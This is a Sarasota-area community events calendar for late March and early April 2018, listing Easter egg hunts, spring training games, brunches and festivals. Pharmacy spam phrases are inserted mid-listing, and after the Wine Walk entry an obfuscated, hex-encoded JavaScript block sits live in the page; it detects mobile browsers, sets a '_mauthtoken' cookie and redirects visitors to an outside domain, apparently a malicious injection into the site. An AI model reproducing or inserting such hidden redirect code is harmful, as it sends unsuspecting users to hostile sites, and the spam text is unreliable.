Local Events

March 24, 2018: Hippity Hop Hop! Lakewood Ranch hosts itsEGGstravaganza” Easter Egg Hunt at Greenbrook Adventure Park for kids ages 2 -13. The day’s events and attractions also feature face painting, pictures with the Easter Bunny, a petty zoo and more. Bring your own baskets to collect eggs in. Face painting, balloon art, music, pony rides and refreshments are just a few of the other activities to enjoy. A new shiny red firetruck will also be on the scene to see. For residents: $5 per adult, $3 for children, 2 and under are free. Activities: 9:30 a.m. – 11:30 a.m.- The Egg Hunt Event will have over 22,000 eggs spread across the field. Register in advance. Greenbrook Adventure Park, 13400 Adventure Place, Lakewood Ranch, FL 34202. Here’s registration and more on the event!
March 24, 2018:A� The final Orioles Spring Training Game of the year goes out with a boom and a bang with fireworks after the game. The Orioles host the Minnesota Twins. Game time 6:05 p.m. Post game fireworks. Tickets: $21. Ed Smith Stadium, 2700 12th Street, Sarasota, FL.
March 24 – 25, 2018: Put on your dancing shoes! It’s the 10th Annual Sarasota Challenge Ballroom Dance Sport Competition! It’s being billed as an “outstanding dance sport event open to the public: competitions, seminars, general dancing, fine dining, shows.” The Sarasota Challenge 2018 takes place atA� the Hyatt Regency Hotel, 1000 Blvd Of The Arts, Sarasota. Participate or come to watch. Several ticket options.A�For events, schedules and more info click here! can fucidin cream be used for thrush, viagra for women samples. misoprostol 200 mg buy
March 24 – 25, 2018: It’s time to enjoy the 9th Annual Downtown Sarasota Springfest Arts & Crafts Show. Featuring the creations of talented artists and crafts people from all over in beautiful Five Points Park. 10 a.m. – 4:30 p.m. daily. Free admission and parking. Middle of Downtown Sarasota, Main St. & Pineapple St. Sarasota, FL.
March 25, 2018: It’s the “Tour de Parks Fun Ride” on The Legacy Trail to celebrate its 7th anniversary. It’s an on-road bicycle tour of varying distances along the paved trails and roads of Sarasota County. There is a 62 mile, 35 mile and 20 mile fully supported road ride with rest stops. Ride includes breakfast and lunch. The first 650 people to register get t-shirts Registration opens at 6:30 a.m. Start and finish at the Historic Venice Train Depot, 303 East Venice Ave, Venice. Happy trails to you! More information or sign up.
March 25, 2018: Enjoy Sarasota’s own Ski-A-Rees Water Ski Team and their Sunday afternoon show at 2 p.m. at Ski-A-Rees Stadium. This free show takes place at 1602 Ken Thompson Parkway (near/behind Mote Marine Aquarium on the water.) 2 p.m. 388-1666.
March 25, 2018: Featuring not only a 50 foot salad bar, great food like prime rib, paella and more from area chefs and desserts, the Sarasota Farmers Market’s “Taste of the Market” will also feature a cash bar, live entertainment starting at 5:00 p.m. with violinist Cal Morris. The Big Night Out band will start at 7:00 p.m.A� Tickets are still available to purchase at the Farmer’s Market information booth on Saturday at Main and Lemon or on their website. $30 in advance, $40 at the door. Kids 12 & under, $10.A� 5 p.m. – 9 p.m. Main and Lemon Avenues, Downtown Sarasota, FL. More info here.
March 25, 2018: The Orioles and Ed Smith Stadium will host a special end-of-season charitable concert featuring the award-winning country duo LOCASH. All proceeds from the event will benefit Sarasota Academy of the Arts Musical Theater Program. Sarasota Academy of the Arts (SAA) is a tuition-free performing and visual arts public charter school serving students from kindergarten through eighth grade. 7:00 p.m. Tickets at: www.orioles.com/LOCASH, at the Orioles Box Office at Ed Smith Stadium, and by phone at 941-893-6312. The concert will wrap up the Spring Training season in Sarasota. Ed Smith Stadium, 2700 12th St, Sarasota, FL.
March 28, 2018: You’re invited to the 2018 Sarasota Film Festival Kick-Off Reception where this year’s films and guests will be announced. Live music and complimentary appetizers along with a cash bar will also be featured. Free and open to the public. 5:00 p.m. – 7 p.m. Venice Art Center, 390 Nokomis Ave S, Venice, FL.
March 29, 2018 Meow! It’s the 12th Annual Paws on the Catwalk Luncheon. Taking place at the Ritz-Carlton in downtown Sarasota, doors will open at 10:30 a.m. with signature cocktails, a shopping reception and a raffle, followed by a delicious lunch. Guests will be treated to a fabulous fashion show produced by Influence Style, a live auction, and exciting entertainment throughout the luncheon. Attire: White for women, black for men. Tickets: $150 each. All proceeds benefit the Humane Society of Sarasota County, the area’s largest no-kill shelter. 10:30 a.m. Ritz-Carlton, downtown Sarasota. More info and tickets here.
March 31, 2018: Bring the little ones to the Siesta Key Children’s Easter Party & Egg Hunt for ages 1 – 6 at Turtle Beach. Come celebrate this Easter with the Siesta Key Children’s Easter Party and Easter Egg Hunt!A� This family-friendly event is open to children ages 1-6 ($10 per child).A� There will be games, prizes, goody bags, fire truck and ambulance tours, mounted Sheriff’s Patrol, face painting and more! Event time: 9 a.m. – noon at Turtle Beach, 8918 Midnight Pass Road. More info here.
March 31, 2018: The Sandbar Restaurant will host its 32nd Annual Easter Egg Hunt at 9 a.m. sharp at the Pavilion at the Sandbar. Make sure to bring your own basket(s) for the Easter Egg Hunt. After the hunt kids will be led by the Easter Bunny down Pine Avenue where the Easter Egg Roll and Bonnet contest will take place. Refreshments will be provided by the Sandbar. Sandbar Restaurant,100 Spring Avenue, Anna Maria, FL, Anna Maria Island, FL.
March 31, 2018: Florida Studio Theatrea��s home Improv team goes head-to-head in a truly one-of-a-kind celebration of spontaneity, improvisation, and April Foola��s Day. Some of the Gulf Coasta��s top improvisers will compete in a series of scenes, songs, and games to win your laughter, your applause, and the coveted title of a�?Champion of Fools.a�? The exclusive performance takes place in FSTa��s Bownea��s Lab Theatre. Full menu and bar are available. Doors open one hour prior to the show. Show time: 8:30 p.m. Tickets: $15 each from the FST Box Office in person, by calling (941) 366-9000, or online. Florida Studio Theatre, 1241 N. Palm Avenue, Sarasota, FL.
April 1, 2018: Easter Sunrise Service -A� The Tabernacle Church hosts a service in Sarasota’s Bayfront Park, Bay Island Park, off of downtown Sarasota area, next to Marina Jack. Bring a folding chair if you like. 6:30 a.m. – 7:30 a.m.
April 1, 2018: Easter Sunrise Service – Pine Shores Presbyterian Church hosts its 61st Easter Sunday sunrise service at 6:30 a.m. – 7:30 a.m. at Siesta Key Beach near the pavilion. Bring a beach chair or blanket.
April 1, 2018: Easter Sunrise Service – The Church of the Palms hosts sunrise service near the Lido Beach Pavilion on Lido Key. It is recommended that you bring your own chair or a blanket as seating is very limited. All are welcome and dress is casual. 6:30 a.m. – 7:30 a.m.
April 1, 2018: Enjoy Easter Sunday Brunch at Marie Selby Gardens with brunch provided by Michael’s on the Bay with a carving station, omelets made to order and a dessert bar. The kids will enjoy an Easter egg hunt around the gardens, there will be live music and a visit from the Easter Bunny. Seatings from 10 a.m. – 1:30 p.m. $30 – $80. Your brunch purchase is accompanied by admission to the Gardens for the day. Free on-site parking at Selby Gardens is limited. A complimentary trolley service will be available to and from the Friendship Center. Marie Selby Botanical Gardens, 900 S. Palm Avenue, Sarasota, FL. Click here for more info and registration.
April 1, 2018: Delight in an extravagant Easter Brunch on Sarasota Bay at the beautiful Powel Crosley Estate. Breakfast includes a Belgium waffles station, traditional breakfast favorites: bacon, sausage, eggs, croissants, jams and breakfast breads. Brunch selections include salmon and shrimp options. There’s also a carving station of ham with a tropical pineapple salsa and bourbon glazed skirt steak. Brunch includes vegetarian options and a wide assortment of freshly made salads and delicious desserts. Your private table is available indoors in the main ballroom and dining room, outside on the patio, at the Pavilion next to the bay; or under the oaks on the bay front lawn.A� For an additional fee, the upstairs Ship Room is available for parties of 8. Live Steel Band music, too! Brunch is served at 10:30 a.m. and at 12:30 p.m.A� Special considerations for your family:A� reserved private seating (no community tables); high chairs are available a�� please ask when making your reservation. Free parking available on-site. Adults are $48.00, children 3 to 11 are $23.00, and Children under 3 are complimentary. Cash bar. This is a popular event that sells out quickly. Tickets are available at 941-312-0000.A� More info here.
April 2, 2018:A�Come out forA�Ringling by the Bay featuring live music and dancingA�with Lisa Ridings Band.A� Food and drinks available for purchase. 6 p.m. – 9 p.m. Admission: $5 – $15. Tickets may be purchased in the Visitors Pavilion on the day of the event. Limited seating is available. Ringling Museum grounds, Bayshore Gardens. 5401 Bay Shore Road, Sarasota. 941-358-3180. Click here for tickets and more info.
April 4 – June 1, 2018: Sarasota’s Island Park has been the backdrop for Embracing Our Differences’ colorful, larger-than-life canvases integrating powerful imagery and thought-provoking messages celebrating diversity. The scale and impact of this outdoor exhibition has continued to grow, attracting over two million visitors since its inception. The 15th anniversary exhibit is set for April 4 to June 1, 2018, in Sarasota’s Island Park. For more information about Embracing Our Differences, call 941-404-5710.
April 5, 2018:A�Get groovin in the courtyard atA�Ringling Underground where you can enjoy live musicA�in the Museum of Art Courtyard. An eclectic mix of local and regional live music is featured in the series. Plus check out up and coming artists with select galleries open until 11 p.m. 8 p.m. – 11 p.m. A�Admission: $15. Free for Members and College Students w/ ID and free with “Art After Five” admission. Ringling Museum of Art, 5401 Bay Shore Road Sarasota, FL. 941-360-7399.
April 5 – 8, 2018: Check out the 28th Annual Florida Winefest and Auction. Click here for tickets and more info. There are numerous wine events, lunches, grand tasting, brunch and charity auction, wine on the water, and winemaker dinners in and around Sarasota over the 4 day fest. Various times, locations and prices.
April 6, 2018: It’s the first Friday of the month so that means Music on Main at Lakewood Ranch is from 6 p.m. -A� 9 p.m! Beer, wine and food sales. Bring your chairs, but leave coolers at home. Dogs are welcome, but must be kept on a short leash. Overflow parking is available at the Lakewood Ranch Medical Center. Lakewood Ranch is off University Parkway east of I-75.
April 6, 2018: Experience the 6th annual Wine Walk to Ca’ d’Zan! Taste fine wine and delight in delicious food pairings as you stroll along the drive to the mansion. Wrap up the evening beside Ca’ d’Zan with live music and surprises. Plus, VIP ticket holders will enjoy early entry, valet service, and a champagne toast. Your VIP ticket also includes access to the VIP lounge located on the beautiful Ca’ d’Zan Terrace, featuring special cuisine, distinctive blends and a dedicated service staff. 6 p.m. – 10 p.m.A� Tickets: General admission: $135A� / $200 for VIP. Ringling Museum Grounds, 5401 Bay Shore Road, Sarasota. Click here for tickets and more info. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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